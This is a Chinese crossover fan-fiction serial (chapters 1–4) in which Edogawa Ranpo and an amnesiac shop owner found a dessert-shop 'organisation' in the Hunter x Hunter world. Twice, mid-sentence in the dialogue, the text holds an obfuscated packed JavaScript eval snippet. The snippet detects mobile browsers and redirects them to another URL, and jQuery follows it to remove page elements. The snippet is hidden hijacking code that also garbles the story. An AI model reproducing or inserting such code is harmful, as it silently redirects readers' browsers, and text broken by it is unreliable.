《文豪咒术师穿进猎人后》 1. 第 1 章 怪兽、珍兽、财宝、秘宝、魔境、秘境。 未知这个词绽放的魔力，引无数强者，趋之若鹜，世人将其称为—— 猎人*。 这个世界被称为猎人世界。 无数冒险，由此萌芽。 * 巴托齐亚共和国，鲁比安纳。 地理位置与v5常务国的明波共和国相接，是两国陆上交流必经之地，肩负外交重任，濒海，边境口岸终日繁忙。境内三千公尺的枯枯戮山是抵御北部寒冷气流的天然屏障，土地优渥，经济发达。 但也不可避免的滋生出无数明面码头货航、暗处走私偷渡的‘名门望族’。 杰尔登家族算是其中的龙头翘楚。 他们举办了一场庆功宴。 为家主尼克从某位议员大人那拿到航海权。这意味着他们以后就可以走‘官方路子’把货物卖到大洋彼岸的埃珍大陆、约鲁比大陆去，这代表金子、戒尼，甚至政治上的特权。 满屋碎金光束来自穹顶缓慢旋转的水晶吊灯，流畅的钢琴伴奏漂浮在香槟塔顶雪白绵密的气泡中跳跃。 宾客们举起杯庆贺，清脆空灵的琉璃碰撞与心领神会的低沉笑声，一切尽在不言。 “点心还合胃口吗，乱步先生。” 一名贵妇人捏着扇柄，遮住下唇讲话，颈部的翠绿项链能买下整个宴会厅。她是鲁比安纳市长的妻子瑞秋夫人，同样经营着货轮外贸生意，也是今夜最重要的几位客人之一。 被她颇为尊敬询问的是个少年模样的人。 一身黑色披风盖住消瘦的肩膀，黑色皮质小礼帽下是头略毛躁的黑色短发，丝毫不顾及礼仪的瘫坐在卡座，惬意眯着双眼，用这种场所几乎没人会碰的甜点将腮帮子填得鼓鼓囊囊。 “唔……”江户川乱步咽下嘴里奶油，轻快回复，“没有店长做的好吃。” 瑞秋夫人只当他在开玩笑，例如：没有我母亲烤的派美味。 要知道杰尔登家族为了这次宴会下了血本，专门请来一位美食猎人坐镇，使用的原材料也都是从全国各地狩猎来价值连城的珍馐。 到底是平民，吃不了什么好东西…… 瑞秋夫人掩下眸中轻蔑，因为她有意拉拢少年。 对方是最近鲁比安纳声名鹊起的名侦探。 据说有常人百倍的洞察力与推理能力，一眼便看破了积压多年的连环杀人案，随口便点出流窜许久的大盗的藏身之所，目前已是警局座上宾。 “但味道也不错啦，那么，为了感谢夫人带我进来，我就告诉夫人一些情报当作报答吧。” 瑞秋夫人皱眉，她不觉得对方能说出什么，并且这种行为，在她眼中像是急于展示自己的愣头青，太过掉价。 “看那里。”江户川乱步双指夹着叉子，银闪闪的尖端正对人群中间。 那是这场宴会身份最尊贵的客人议员和他的妻子。有些中年发福的褐卷发官员与仪态万千的贵妇，正亲昵挽着胳膊笑盈盈接受众人的敬酒，看着十分恩爱。 瑞秋夫人提醒他：“请不要这样做，乱步先生，这会给您惹麻烦的。” 江户川乱步充耳不闻，隔空挑动叉子，对准议员咽喉处轻轻一划：“他很快就要死了。” 瑞秋夫人看了一圈周围，确认没人听到才转回头急切：“说这种话，你疯了！” “今晚开庆功宴的本来应该是夫人吧？是议员临时篡改了协议，航海权才落到杰尔登手里，宁愿得罪夫人的市长丈夫，也要把航海权交给尼克，夫人不好奇为什么？”江户川乱步歪了下头。 “你是怎么……”瑞秋夫人压低声音：“利益，尼克比我能吐出更多分红给议员。” “不是哦，议员不缺钱，也没打算弃政从商，要那么多钱干什么。” 江户川乱步松开并拢的手指，叉子从指缝后仰滑落，顺着手背自由落体后直挺挺的掉在地上。侦探仰起一张笑脸，像在谈论点心味道如何似轻快吐出惊世之语。 “因为有人威胁议员夫妻，如果不把航海权给尼克就杀了他们。” “你到底在说什么。”瑞秋夫人一脸难以理解。 江户川乱步懒洋洋道：“夫人和议员妻子交情不是不错吗，直接去问不就好了。” “……”瑞秋夫人没再说话，铁青着脸，提着裙摆走了。 “好烦，所以我为什么要参与这种无聊的事情。” 江户川乱步叹口气，身体后仰陷入后方沙发靠垫中。少年模样的侦探仰面朝天，每根头发丝都是被迫营业的倦怠，他保持这个姿势把盘里剩的蛋糕一点点吃完。 唯一的安慰是，这些甜品味道算得上差强人意。 斜睨一眼远处的瑞秋夫人叫走议员妻子，江户川乱步一个鲤鱼打挺起身。 几步凑到开放式烘培台前，身体前倾，和端着刚出炉点心转身的点心师对上视线。 莫名被那双翠绿眼眸盯的发渗，点心师打量几秒怎么看都是普通人的侦探，开口试探性问道：“这位客人，刚做好的康诺宁，要来一份吗？” “要！”江户川乱步大声，并伸出手指比划，“我要三盘！” “不可以哦。” 点心师拒绝，只取下一盘递给他。点心做成朴素的圆饼形状，酥皮金黄，从顶刻意留出的小洞中能看到里面如刚流出的动脉血般鲜艳晶莹的果酱。 “康诺宁的原材料里有罕比纳河畔食猴树的果实，有轻微毒素，你最多只能吃半份。” 不管听完挎下脸的侦探，确定他端好盘子，点心师从袖中摸出一柄餐刀。 银质刀具反射出水晶吊灯挥洒出的绚烂火彩，锋利面轻松割破饼皮，鲜红酱汁争先恐后的溢出。 远处，议员双手捂住喉咙，双目浑圆直挺挺地向后摔去，脑袋还恰好插入坚硬的鹿角形大理石摆件上，霎时间烂肉四溅，像摔烂的西瓜，或者，白瓷盘中被切开的圆形点心。 他对面，是刚调整好表情走过去敬酒的尼克家主。 现场陷入死一样的寂静。 江户川乱步不用叉子，直接低头叼走盘里切好的点心，用舌头卷进嘴，嚼嚼，愉悦眯起眼。 “好吃！” “当然。”点心师看了眼死的不能再死的议员，把刚烤出来的点心放进保温盒，她想，应该暂时没人想吃东西了，“……这可是我的得意之作。” 一声尖叫打破寂静僵局，高贵的男男女女们回过神来，纷纷黑着脸后退远离尸体。 被溅了一身血的尼克家主站在原地，面如白纸。 他知道自己完蛋了。 最后一个接触这位议员的人是他，对方在他的场地死去，尸体又变成这个鬼样子，凶手是谁根本不重要，重要的是受惊吓的宾客，吸血鬼一样的报社记者、议会同党、被无端生事的警察，哪个都不会轻易放过他。 江户川乱步舔舔嘴唇，补充一句：“但果然还是不如店长。” “开什么玩笑！”点心师一拍桌子，“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434044|184934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的店长是几星美食猎人？叫什么名字。”边说，边伸手要抓人领子问个究竟。她动作很快，江户川乱步却像长了眼睛似提前一秒向后躲开。 “不如店长就是不如店长，我说的是实话。”黑发侦探双手交叠背在脑后，“吃东西还要限制人，传说中的美食猎人也就那样嘛。” “我明白了，你是记恨我不让你多吃，都说了有毒……喂，你！” 看着说完扭头就走的江户川乱步，点心师眼睛睁大，三下五除二把点心收拾到一边，踹开餐台的隐形门要去追，“兔崽子，今儿你不把所有康诺宁都吃了老娘就不……” “乱步先生去哪了？”手腕突然被人抓住，是满脸惊慌的瑞秋夫人。 她一手扶着餐台，“就刚才坐在那的黑发的侦探，他去哪了？”点心师另一条胳膊也被人抱住，是议员妻子，她不如瑞秋夫人冷静，低垂着头颤抖，金发盖住全脸。 “喂……喂，你们是谁啊？等等，你们认识那个混蛋小鬼？” 绝望、愤恨、气恼、慌张、谩骂、尖叫、哭泣，整个庆功晚宴彻底乱作一团。 但有一个人在安静思考。 伊尔迷.揍敌客站在会场角落。在外人看来，就是一个其貌不扬的服务生被吓傻了僵在角落，但没人会往这边看，他的存在感和水晶灯旁的小灯没什么区别。 伊尔迷是个杀手，来自揍敌客家族。 揍敌客家族，臭名昭著的世界第一杀手世家，所有家庭成员都是杀手，却没有寻常杀手的隐蔽的观念，甚至将家枯枯戮山经营成了著名的旅游景点，还是当地的纳税大户。 但家庭成员身份保密却做的很好，照片在黑市炒到一亿天价，不过至今无人完成。 伊尔迷是这一代的长男。 三天前，他接到在杰尔登的庆功晚宴上杀死议员的任务，于是乔装潜入会场。 但，他还来得及没动手议员就死了。 雇佣揍敌客杀人，除了成功率100%，大多还是为了他们的凶名，让苦主不敢报复而来。 因此人不是揍敌客杀的=没完成雇主要求=定金不退，尾款也不补=没有钱，白跑一趟。伊尔迷拒绝这个打白工的结局。但如果硬冒领杀人，万一真杀手站出来争执，对揍敌客声誉不好，回去绝对会被父亲母亲教训。 可万一……真杀手不敢得罪揍敌客呢？ 伊尔迷陷入纠结。 深深看了眼脑袋爆成辣椒糜的议员，在心里将擅自死亡的对方骂了几遍，他悄无声息从侧门退出会场，拉开走廊窗户，屈膝踩上去，借力纵身一跃。 宴会楼设在二十层，全面贴满玻璃的大厦静静矗立在寸金寸土的商业区，反着光倒映出一张急速下坠，平平无奇的脸来。 抬手从发下拔出几根钉子，面上皮肤下的肌肉开始扭曲抽动。 最后悄无声息落地的是个身穿小高领泡泡袖服饰的青年，身型修长劲瘦，一头黑长直披散在脑后，是极漂亮的长相，却不会让人错认性别。 原因在那双黑沉沉如夜里的猫瞳的眼，几乎没有眼白。 没有表情，甚至不见一点生气，比起人类更像一具精致的人偶。哪怕此时太阳还神采奕奕的挂在天上，他所站立的地方也仿佛被单独投下一片永寂的夜。 “等一下，那位头发很漂亮的先生——” 背后传来’咚咚咚‘的下楼梯巨响，以及完全没掩饰过的呼吸声。 伊尔迷转身，黑而深的瞳孔倒映出来人身影。 2. 第 2 章 是坐电梯下来的江户川乱步。 黑发侦探孩子绷直膝盖，双腿交替，左一下右一下地从台阶往下蹦，身后披风与头顶碎发随动作一晃一颤，等他落地最后一节阶梯，几大步跨过来，晃晃身体站定，张口就是一段碎碎念。 “太过分了！你为什么不坐电梯？竟然跳窗离开！害得我不能多说几句那个连毒素都处理不好的家伙，真的是，我期待了这么久，特意空着肚子跑过来尝，结果没有店长做的好吃就算了，还不让多吃！在家里这样，到外面还这样……” 伊尔迷：？ 面对这番莫名其妙的指责，他没任何情绪起伏，原地等了两秒，确定对方口中没一句有用东西后，脚掌发力转身，准备如原计划般消失。 “我知道是谁杀了议员。” 胜券在握又懒洋洋的少年音让伊尔迷卸力，他定定看向江户川乱步。 少年无疑是个普通人，无论是破绽百出的走姿，还是身体中不断流失的气。他随手便能掰断对方的骨头。既然如此，是什么给了他挑衅一名失去目标的危险分子的依仗？ 杀手罕见有些好奇。 当然，他停下的主要原因还是舍不得杀死议员的巨额佣金。若凶手身份不值一提，他会考虑加个班杀掉对方，然后冒名顶替去结尾款。 至于江户川乱步，只要他不不自量力地主动攻击，伊尔迷就不会动手。 他是杀手，杀人要钱，很贵，不打白工。 正当伊尔迷以为江户川乱步要巧言令色些什么的时候，少年拉开披风，将手伸进怀里掏啊掏，乱七八糟把全身找了个遍，说着什么‘糟糕，不会是掉了吧’，最后如释重负用两根手指捏出张皱巴巴的纸团。 “找到了！”他松口气。 “都怪店长是个笨蛋……”少年嘟囔着，慢吞吞把纸展平，递过去，“给议员下毒的是他的妻子，她巴不得给自己脱罪，你可以放心认领凶手的身份，不会有任何人跳出来让你烦恼。” “……” 伊尔迷不动，甚至视线都没往纸上偏移丝毫，黑黝的眼睛一眨不眨盯着江户川乱步。 连他的想法都知道吗？ “不拿我就答应警察帮忙调查这个案子，暴露真凶身份。”他举得手酸，不大高兴地开口，“让你一分尾款都拿不到！” 伊尔迷有被威胁到，沉默两秒，伸手接过那张可能是陷阱的纸。 “真棒，记得要看哦！” 江户川乱步这才展开一个大大的满意笑容。他双眼从始至终没有睁开过，眯成两道细细的缝隙，像只站着打盹的懒猫，又始终维持着固定的弧度月牙似弯起，是森林中微笑着哄骗兔子踏入尖刺陷阱的小狐狸。 说完，一个大抬腿转过身，准备离开。 “她为什么要下毒？”背后的伊尔迷突然开口。 江户川乱步动作一顿，转过半张被阴影笼罩的脸：“你根本不好奇，我不要浪费口舌。” “哦。”伊尔迷说。 于是江户川乱步把头重新扭回去，大摇大摆甩着胳膊离开了，从背影来看，他心情很不错，至少比刚拦下他时的气鼓鼓好得多。 伊尔迷没再阻拦，垂眸看向手中的纸，很普通的白纸，和那个黑发侦探一样，柔软，单薄，毫无杀伤力。 重点大概是内容。于是他将其掀开。 纸的边缘用蜡笔手绘了许多卡通图案做装饰，中间用最刺眼的红色加粗写着一行陌生字符。 「dessert shop*」 下面用通用语工工整整注释了字符的意思——‘甜品店’，店主签名的地方画了只橘色简笔蛋糕，一行地址，一行固定座机号码，还有‘凭本传单店内商品一律五折优惠’的文字。 一张甜品店传单？ 伊尔迷想起一点传闻。 作为杀手，还是家住巴托齐亚共和国的本地杀手，他当然对最近名声大噪的江户川乱步有所耳闻。对方于一周前与一名叫橘相月的青年一起出现在鲁比安纳，他们买下一栋沿街店铺，办了定居手续，目前在装修。 听说是准备开一家甜品店。但因为江户川乱步破案神速的名声太大，导致所有人都觉得是那一定会是家侦探社，据说老城警局计划在附近开个值班点。 所以，真的是甜品店吗？ 伊尔迷把那张传单重新揉成团。 揍敌客家大业大，聘用了最专业的管家、甜品师和营养师团队，并不需要在外购进甜品。刚要当垃圾扔到旁边草丛里，脑海中突然浮现江户川乱步嘟囔的那句美食猎人的作品没他店长做的好吃，于是若无其事将单子收进口袋。 不知道为什么，总觉得那个侦探不会在这种事情上撒谎……下次可以考虑买一些当伴手礼带给弟弟，毕竟全场五折，合算。 至于江户川乱步是怎么看穿他身份，怎么知道在楼下拦他，乃至怎么知道整个案件全貌的，他确实不关心，刚才开口只是某种直觉。但是作为杀手，只需要远离一切未知和危险和杀人就好，并不需要追根溯源。 好消息，全款可以到手了。 伊尔迷完全不介意给真凶背锅，他只求议员妻子能隐瞒这消息一辈子，他不想跨时间加班。掏出手机拨通雇主的电话，他用毫无波澜的声音开口：“任务完成，尽快将尾款打到揍敌客指定账户。” 雇主不敢拖沓，大笔戒尼到账，伊尔迷漆黑的瞳子中闪过一丝愉悦，那张面无表情的脸线条都柔和许多。 * 【最终任务：建立一个世界性的组织。ps：包括黑暗大陆在内「声望：1」】 【奖励场景卡「流星街*」——被世界遗忘的无序垃圾之城，暴徒的‘乐园’，神弃者的‘家’】 江户川乱步‘嘭’的推开门，顶部的铃兰形风铃晃动起来，清脆悦耳。 暖调的奶油色主题，各处做了壁灯与花藤的小设计，治愈又温馨，正中是个巨大的木质展柜，才刚安装好推拉玻璃，内部还空空如也，墙角有几台糖果柜，已经摆好花花绿绿的糖块。 这是家甜品店，名为dessert shop，还没开业。 江户川乱步直奔二楼。 这间店在被他们租下来前原本是旅店，因此二楼上去是条狭长的走廊，走廊两侧有通往客房的门，不过内部全都被砸空了，等着装修。江户川乱步径直朝左侧第三间走去，压下门把手，‘嘭’的一声推开门。 “我回来啦，店长！” 被叫做店长的青年正在电脑前忙碌。身上穿着能让人联想到夜晚海面的蓝色西装，短裤下的肤色是久不见阳光的雪白，肌肉松软，显然是常年坐办公室，体脂率偏高的那种文弱人士，五官很有被生活搓磨到没脾气的社畜风味。 清瘦脊背挺得笔直，酒红长发瀑布般随意披散在身后，发尾及腰，果绿的眸子映出屏幕倒影。 “欢迎回家，辛苦了，乱步。点心在冰箱里，要喝果汁吗，是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为他失忆了。只隐约记得自己以前在东京从事金融行业，可能猝死过，反正大脑中有段很难形容的一段漫长黑暗回忆，画面、声音、起因结果统统没有，只有最后携名「甜蜜的家」的系统重生异世界的结局。 和漫画轻小说中的灵活系统不同，他这个系统无法交流，没有主观意识。外表是仅有他能看到的幽蓝色半透明悬浮面板，最基础的功能性与两个主线任务。 【建立一个世界性的组织。ps：包含黑暗大陆在内】 【获得一张猎人执照】 且不提猎人执照是什么，毕竟听起来是通过考试就能得到的东西，不用着急。 就看第一个任务。 作为一个失忆人士，并且是失忆前也大概只是个普通人（乱步说的，因为他手上没有枪茧，没有肌肉，被人偷袭致命处也很放松，没有紧绷）的小卡拉米，对如何‘扬名世界’‘创立组织’这种课题着实两眼一抹黑。 橘相月绞尽脑汁最后也只想到给组织取一个完全不会被警惕的名字，比如inn（旅店）、zoo（动物园），然后揣着明白装糊涂去宣传，搞文字游戏。 本来当笑话说。 这是橘相月在职场上领悟的小技巧。逗笑大佬，他们就不会吝啬真正的经验宝典。 但江户川乱步听完表示很赞，和橘相月一拍即合订下dessert shop（甜品店）这名字后，橘相月负责画传单和规划开店，江户川乱步负责试吃和发传单。然后真的靠这个增加了任务进度。 不愧是乱步。试图把传单塞给隔壁老太太，但什么也没发生的橘相月想。 江户川乱步是橘相月用系统附赠的新手福利抽出来的助力。系统叫做「甜蜜的家」，他是‘家人’。 3. 第 3 章 白光一闪，大变活人。 黑发侦探盘腿坐在地上，半边脸都是喷溅血迹，血珠顺着鬓边刘海蜿蜒。 他先前大概是坐在高处俯视什么人，骤然换个环境到了平地，抬头时表情没来得及变换，唇角勾着一抹笑，弯起的翠绿眼瞳中却是捕猎者未收敛的锋利，手上捏了把盛了雪白球体与一点红汤的勺子。是年糕和红豆汤。 【家人名称：江户川乱步 性别：男 年龄：22周岁 身份：港口黑手党五大干部之首 异能/念：「超推理」瞬间看穿事件真相（实际无异能，伪装成异能者） 爱好：甜食、休假、推理、报纸上的四宫格漫画、看部下和敌人被耍的团团转 厌恶：怪物、扭曲的世界、任务、擅自对人指手画脚的蠢货、白痴、笨蛋、警察】 那双细长绿眸扫过来，映出愣神的红发青年。‘咔哒’，他扔掉勺子给枪上膛，收敛表情，连假笑都懒得维持。 真相事后探寻，先杀了再说。 “有「场景卡」就可以直接将部下分散到全国各地，先构建出宏观的神秘框架，再慢慢填充，不必从微末一地开始创建组织了，店长你还可以像抽我一样抽取其他成员吧。” 江户川乱步很快分析出场景卡的用处，话语中全是对组织事业的看重。这就不得不提到这世上所有事物被人类钟爱的基底——自身利益了。 完成任务的奖励，是给每名任务参与者一个实现愿望的机会。 无论什么。成为国家元首、百亿富翁、统治世界、死而复生、时间倒流、制定规则，甚至毁灭世界。 当然是在将他们送回原世界之后。 于是江户川乱步同意了帮忙。 除了不同意就会死，尝试杀掉首领也会死之外，还有一个原因。 “是的，可以，但需要满足一些条件，现在还没达成。确实是好消息，但如果吹的太大圆不回来……有乱步你在应该不用担心这个。”橘相月改完口，苦恼：“但流星街看着不是什么好地方，有点对不起下个家人。” ——首领是个善良又心软的人。对在黑暗世界摸爬滚打许久，目之所及皆是血腥暴力的江户川乱步来说，这种人和草莓芭菲上的粉色奶油一样好玩。并且一周相处下来，的确如此。 除了对方以长辈自居，不允许他摄入过多糖分之外。在强迫他营养均衡这方面，看起来青涩温柔的新首领比黑手党的老狐狸都难缠，这让向来随心所欲的黑手党干部大人很不满。 “不过流星街情报我整理的差不多了，可以让他好受一点。今天要跟我去市场吗，乱步。” 橘相月没有在愧疚上耽误太久，比起预想，他更喜欢做实事看结果。青年把键盘敲的‘啪啪’作响，虽然没有记忆从零开始，但架不住设备降维打击，再加上据江户川乱步说这个世界科技发展要落后个二三十年，骇客水平无痛登顶。 这大概就是课本上讲的环境对人的重要性吧。 “去！”江户川乱步果断。 这就是他没去拿蛋糕的原因。 港口黑手党的黑夜安拉，作为江户川乱步的敌人最可悲的事情就是为人，最好马上自杀，省的安拉大人费事。江户川乱步被这么形容。 十八岁加入港口黑手党后，他便以上帝般全知全能的可怕智慧迅速坐上五大干部之首的位置，据说，所有针对港口黑手党的阴谋，哪怕只是起了个念头，都会被他未卜先知察觉随后破解，一切港口黑手党的敌人都会被他找到，然后被冷酷处理掉。 是因为拥有能一眼看破所有事物本质真相的能力，被敌人恐惧，也被同伴所忌惮的男人。 不过……那都是之前的事了。 现在的江户川乱步对怎么套路橘相月给他多做盘蛋糕更感兴趣些。 黑发少年把自己挂在座椅靠背上，橘相月默默把被他体重压着不停往前出溜的座椅根定在地砖里，加快处理信息的速度。 橘相月在情报方面的能力让江户川乱步都感到惊叹。两人在鲁比安纳找到落脚处后，仅一天就靠电视里播报的新闻和网络列出关键词，将新世界相关——国家、地理、魔兽、秘境等框架整理的七七八八。 据他本人所说是‘不要小看金融狗在大信息时代的资料整合能力啊！’ 这让彼时还不熟悉他的江户川乱步阴谋论了很久很多，但最后不得不承认，这可能真的是社畜的肌肉记忆吧。 “去也不可能给你买点心，牙坏了我绝对会把你压到牙医诊所去的，别想惦记『商城』里的医疗道具。” 橘相月敲打着键盘，屏幕的盈盈白光映在脸上。红发青年有双很漂亮的眼睛，像炎炎夏日遮阳伞下冰镇清爽的苹果味汽水，干净明亮，不见杂质，大概是失忆的缘故，任何想法情绪都会很纯粹的表露出来。 想起刚认识时他要什么就给什么的橘相月，再看看现在一天只让吃三块甜点外加两瓶汽水的坏店长，江户川乱步愤愤不平。他不高兴，就来回摇晃橘相月的椅背，势必让他也没那么顺心。 “知道了——好了没，店长！市场要关门了！” “这才下午，哪有那么快，市场一般开到晚上的……好了好了，别摇椅子，我看不清屏幕了。”橘相月无奈按下保存，对黑恶势力妥协了，“走吧。” 江户川乱步：嘻。 * 鲁比安纳这个城市有两部分，新城与老城。 两个区域中间只隔了条小河沟，不宽，小孩子助跑都能跳过去。一边是高楼大厦，现代都市，另一边是低矮平房，脏兮兮的棚子和木屋构建了老城最大的交易市场，每天凌晨就有人撑着小木船运货物，河沟连通着大海，有无数偷渡船来往。 因此常有新鲜东西出售。 橘相月急着出来就和这个有关。 系统只赠送一次抽取家人的机会，想得到更多的助力，就得完成面板上的任务。 新的果实、魔兽、植物、矿石、武器，只要是新的、没见过的，橘相月接触过，面板上名为『图鉴』的界面就会解锁对应词条，然后附赠些类似百科的详细内容。同时，抽取家人的进度条也能往前挪一点。 经过一个礼拜持之以恒的逛市场跑杂货铺，解锁新图鉴，促成进度条，橘相月终于差一丝就能抽取新的家人了。 市场热闹，吵吵 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系统赋予首领的特权并非基础的无视物理伤害，而是更全面，极复杂的因果守护，他们来鲁比安纳的这一周，所有试图对橘相月下手的人全部死于意外。 其中有一人仅仅是被诱导着起了恶念，就被从天掉落的广告牌砸断双腿感染而亡，连带只是稍微动了一点点微不足道的手脚的无辜的他！吃白砂糖都是苦的！！！ 光想起来那种连灵魂都泛着难以言喻的苦涩，双眼发懵！失去高光！头脑宕机！被毒害成饼饼绝望爬行的痛苦！江户川乱步情景重现成一滩饼饼。 橘相月眼疾手快拎住莫名蔫到地上的少年，把挂在另一条胳膊上的袋子往上提了提：“别在这坐，地上脏。” 所以这家伙，是在明确知道他想杀他还动过手的前提下，还能毫无芥蒂的和他友好相处的啊。 江户川乱步难得有看不透某人的迷茫感，这可能就是失忆者的紊乱行为吧。 他选择跳过话题，从袋子缝里掏出个红色果子，拿裸露的果皮贴了下橘相月的胳膊。 “这是老板送给我的苦埃犹王国特产，叫什么&*（*，店长你应该还没解锁过，我要吃这个。” 新东西！橘相月眼睛一亮，一口答应：“明天给你做成蛋糕。” 手触碰到果子的瞬间，苦埃犹王国那部分『图鉴』闪烁了下，代表里面解锁了个新词条。暗了一周的新家人抽奖按键也终于亮了起来。 说起来，这个新世界文化丰富到一种骇人听闻的程度。 光记录在案的民族就有四千之余，文字多达两千版，语种数量更是破万。好在有人创造了名为「通用语」的语言，除及偏远地区和少数民族，世界上85％的国家都选择通用语作为主语言。 更妙的是，通用语发音与日语相同，所以橘相月他们很好运的没有沟通障碍。 但因为文字与日语没有联系，为了使用电脑，橘相月还是买了系统『商城』里标价十万戒尼的「文字翻译器」，江户川乱步没要，他表示自己学比在脑子里安装插件的读条快得多。 4. 第 4 章 “帮大忙了，乱步！”橘相月愉快看了好几遍面板，那个抽取次数1的小圆钮怎么看怎么顺眼，他抑制住在这就按下去的冲动，把红果子放回口袋。 挤压了一周的心事解放，逛街也变得轻松纯粹起来。 江户川乱步‘咔嚓’咬碎糖块，腮帮子鼓起的小包消下去：“晚上吃甜咖喱。” “好，没问题。”橘相月直奔熟悉的店铺。老城经济不好，人员构成复杂，卖菜的看人下碟，不同人之间的菜价浮动比股票还复杂，他不喜欢在琐事上费心思，让江户川乱步点了个老实的，就一直在那买了。 “橘老板，你来啦！今天有新鲜飞鱼，要来几条吗？” 菜圃老板叫阿维娃，是个皮肤黝黑的姑娘，家里有船，父母常年出海，留她和一条大黑狗看店。 橘相月看摊子上码的整齐泛着银光的鱼，想着咖喱配煎鱼也不错，点了头。 “麻烦你帮忙装两条吧，还有土豆和胡萝卜，再来一些……” “好嘞。”阿维娃手脚麻利装好橘相月要的所有东西，又从口袋里掏出包粉白的结晶体。 “这包海藻糖是我妈妈亲手做的，给乱步先生昨天帮我找到黑仔的答谢，请千万不要嫌弃。” 昨天，阿维娃因为狗丢了准备闭店去找，江户川乱步见橘相月因为要换地买菜皱眉，就随口帮阿维娃找到了箱子底下睡地四仰八叉的黑狗。橘相月买完菜就走了，两人都没放在心上，没想到阿维娃记得。 橘相月替江户川乱步道谢后接过谢礼。黑发侦探还是平日懒散漫不经心的样子，只瞄了眼塑料袋里的糖块，含糊‘嗯’了声应答，也不知是满意还是不满。 见他们收了，阿维娃高兴咧开嘴，说起另一件事。 “橘老板，你们是从哪条路来的？” “从东边那片楼穿过来的。”这么走最近。 “果然。”阿维娃露出‘你们运气真好’的后怕表情，“千万别再去了，那边最近死了好多人，有居民、有游客，全被开膛破肚晾在墙上，报纸上没报，但确实有这回事，凶手还没抓到呢。” 听到死人，橘相月回头看了眼江户川乱步，他正低头拆海藻糖的包装。 少年发质偏硬，风只能小幅度撩动他黑色帽檐下的碎发，懒洋洋眯着双眼，气质矜贵，像只毛发顺滑的短毛品种猫。 他突然想起一件事。 「甜蜜的家」那张大沙发后面是江户川乱步的书桌，上回橘相月过去给他的零食箱补货时不小心看到桌上有几张照片，是被人掏出来挂在墙上的器官的特写，照片白边上占了半枚干涸的褐色指纹。 “橘老板？”阿维娃疑惑。 橘相月回神，朝她温和笑笑：“谢谢你的提醒，我们会注意的。” 但走出市场，两人还是朝原路回去，橘相月走的自然，江户川乱步也没有异议的跟着。 毕竟绕路真的很远。 虽说老城，但也不尽是旧建筑和贫民窟，总有不愿搬迁的老派富人，橘相月他们的店就在繁荣的老城市中。 但市场附近确实是穷人的聚集地，要去市场，首先得穿过一片由旧楼组成，地形错综复杂如迷宫般的住宅巷。 这巷子常年不见阳光，每块砖都飘着阴湿腐朽的气味，低楼层的窗帘都拉的很死，看不见里面的景色，不过里面也没什么秘密，谁都知道这边是瘾君子、小偷、人贩子、强盗和红灯女的巢穴。 巴托齐亚共和国每年平均公布的失踪人数约为60万，至少有五分之一的人，自愿或非自愿的来过这。 这世界治安实在一言难尽。反正单定居这一周，橘相月本人就经历了三起被入室偷窃五次拦路骚扰和两起随机杀人，去报警还被暗示要交保护费。最后还是江户川乱步出去晃了一圈，才免了这笔固定大额支出。 有乱步在真好。他在心里感叹。 两人一前一后走在巷子里。走到一半，橘相月视线被墙上大片红褐色擦痕吸引，看起来像是有人把血肉模糊的东西甩在上面。他想到阿维娃说的‘开膛破肚’晾在墙上，眉心一跳，突然开口。 “乱步。” “嗯？” “警察一直破不了案，会请你出手吧。” 江户川乱步仰头，脸浸没在小巷阴影中，没什么表情：“他们今天上午应该来找过你了吧，店长。” “你知道了啊。”橘相月轻咳一声，面上浮现出自以为隐藏很好的‘到底该不该说啊’的纠结神色，“我没答应，让探长留了个私人电话，你想接吗？” 如果桌上那些犯罪现场的照片不是警察给的江户川乱步，那…… 江户川乱步突然笑出声，与平日装出的弧度不同，是真的高兴：“店长，你还真是……” 他心情好，就不吝啬于让别人也高兴，主动解释起这‘开膛破肚’案凶手的事。 “我什么也没做，从头到尾都是那个蠢货不长眼跑来惹我，搞的那么恶心还想让我夸他——不用担心店长，他昨天自己不小心掉到海里去了。” ……果然是凶手给的。 橘相月心情复杂：“那就好。” “最在意的竟然是我会不会被警察发现吗。”江户川乱步几步凑到红发青年身旁，双手交叉，背在身后，歪着身体仰着脑袋看他，“我还以为你会撕破脸呢，店长。” 结果就这么接受了。 橘相月抬手把他扶正:“你好好走路，别乱说，撕破什么，我们是家人，不是仇人吧？” 他不是傻子，不能对着一个老是半夜出门然后带一身血腥味回来窸窸窣窣扒拉冰箱吵他睡觉的前任黑手党干部捂嘴笑：哎呀你去哪了什么情况人家不清楚。但若说害怕—— 他们现在住的房子，买文字翻译器甚至买菜的戒尼都是江户川乱步弄回来的。橘相月还记得少年在接受穿越异世界的事情后，得知他这个首领没落脚点，失忆文盲不能打还没钱，试图去哪个地方打工来挣组织起始资金时一言难尽的表情。 你说你抽我出来干啥.jpg 他连整个组织都还被乱步养着，怕个什么，怕流落街头？ “店长。”江户川乱步 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都能把他搞出来了，那他认识的那几个……甚至更加危险的家伙都有可能成为所谓的‘同伴’吧。橘相月这种又笨又弱又有莫名的责任感和保护欲的性格，估计被洗脑了还要说‘我们是家人’。 眯起的翠绿眸子泛起凌厉。 愿望和回到原世界的希望都压在橘相月身上，要有人不知死活跳出来坏他的好事…… “乱步？”橘相月奇怪看他。 “没事！”江户川乱步收回视线，然后抱胸撇嘴一气呵成，“抽到我这种坏蛋真是对不起啊，店长。” “欸，我没有这个意思！”橘相月睁大眼，慌乱摆手。 “原来你是这么想的……”江户川乱步声音落寞，身旁建筑物阴影投下，表情罕见流露出孩童般的彷徨，他抽了下鼻子，“我如果不做黑手党就饿死了，对不起……店长，原来你这么介意我的身份。” 橘相月：？ 橘相月：！ 橘相月：！！！ “没有，我没有！刚才那些话只是一瞬间的想法啊，毕竟我从前只是个普通人，对于黑手党这种……不是，乱步，我没有嫌弃你的意思，别哭啊，我不该说这些……” 半哄半道歉忏悔，两人总算在太阳落山前回到了位于市中的甜品店。 